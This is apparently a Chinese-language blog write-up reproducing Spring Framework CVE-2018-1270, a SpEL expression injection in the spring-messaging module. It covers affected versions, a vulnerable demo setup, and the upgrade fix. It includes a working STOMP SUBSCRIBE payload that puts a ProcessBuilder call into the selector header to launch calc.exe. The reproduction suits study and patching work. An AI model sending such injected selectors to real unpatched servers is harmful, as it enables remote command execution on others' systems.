4月5号网上爆出spring框架的一个rce漏洞,编号cve-2018-1270,著名的ssh框架就用了spring。
漏洞存在于spring-message模块,
大致流程是:
类DefaultSubscriptionRegistry.java的addSubscriptionInternal方法中,有expression = this.expressionParser.parseExpression(selector);
这个spel表达式语句,selector可控,如果要命令执行,需要expression.getValue或expression.setValue,而后面就有
if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class)))
如果感兴趣还可以深入跟踪触发流程。
本文对此漏洞进行重现。
0x01 影响范围
Spring Framework 5.0 to 5.0.4
Spring Framework 4.3 to 4.3.14
以及更老的不支持的版本
测试环境:
git clone https://github.com/spring-guides/gs-messaging-stomp-websocket
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3
cd complete
./mvnw spring-boot:run
http://192.168.110.10:8080
重现:
开启抓包,点击connect
得到
[“SUBSCRIBE/nid:sub-0/ndestination:/topic/greetings/n/n/u0000″]
这个包,
加入payload:
selector:new java.lang.ProcessBuilder(/”calc.exe/”).start()/n
得:
[“SUBSCRIBE/nid:sub-0/ndestination:/topic/greetings/nselector:new java.lang.ProcessBuilder(/”calc.exe/”).start()/n/n/u0000″]
放行,
再send
重现成功!
再赠送个xss
升级到5.0.5或4.3.15
https://pivotal.io/security/cve-2018-1270
www.polaris-lab.com/index.php/archives/501/
https://xz.aliyun.com/t/2252
https://github.com/spring-guides/gs-messaging-stomp-websocket